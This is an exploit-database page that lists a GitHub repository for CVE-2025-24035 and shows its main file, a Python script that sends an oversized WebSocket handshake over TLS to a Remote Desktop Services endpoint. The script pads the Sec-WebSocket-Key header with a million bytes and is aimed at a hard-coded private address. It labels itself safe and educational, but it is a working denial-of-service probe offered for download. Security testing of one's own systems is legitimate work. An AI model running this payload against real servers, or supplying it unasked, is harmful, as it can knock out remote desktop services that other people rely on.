Exploit databaseDownload repository ZIP
GH-48813a70a2f07227f3fc4f8a3c0f7b43
mseymend/cve-2025-24035-rds-websocket-dos-test
Sources for CVE-2025-24035
1 sourcePreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.
Repository files3
mseymend/cve-2025-24035-rds-websocket-dos-testRevision d94a3d5d44b2
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
test_abnormal_rds_websocket.py
Suggested starting filePython · 1,027 bytes# CVE-2025-24035 WebSocket oversized header test (safe)
# Author: Mustafa Seymen Dilekli
# Purpose: Educational and non-malicious test of WebSocket handling
import socket
import ssl
def test_abnormal_rds_websocket(ip, port=443):
payload = b"GET /rpc HTTP/1.1\r\n" + b"Host: " + ip.encode() + b"\r\n" + b"Upgrade: websocket\r\n" + b"Connection: Upgrade\r\n" + b"Sec-WebSocket-Key: " + b"A"*1000000 + b"\r\n\r\n"
context = ssl.create_default_context()
try:
with socket.create_connection((ip, port)) as sock:
with context.wrap_socket(sock, server_hostname=ip) as ssock:
print("[+] Sending oversized WebSocket handshake...")
ssock.sendall(payload)
response = ssock.recv(4096)
print("[✓] Got response:", response.decode(errors="ignore"))
except Exception as e:
print("[-] Exception:", e)
if __name__ == "__main__":
test_abnormal_rds_websocket("192.168.1.4")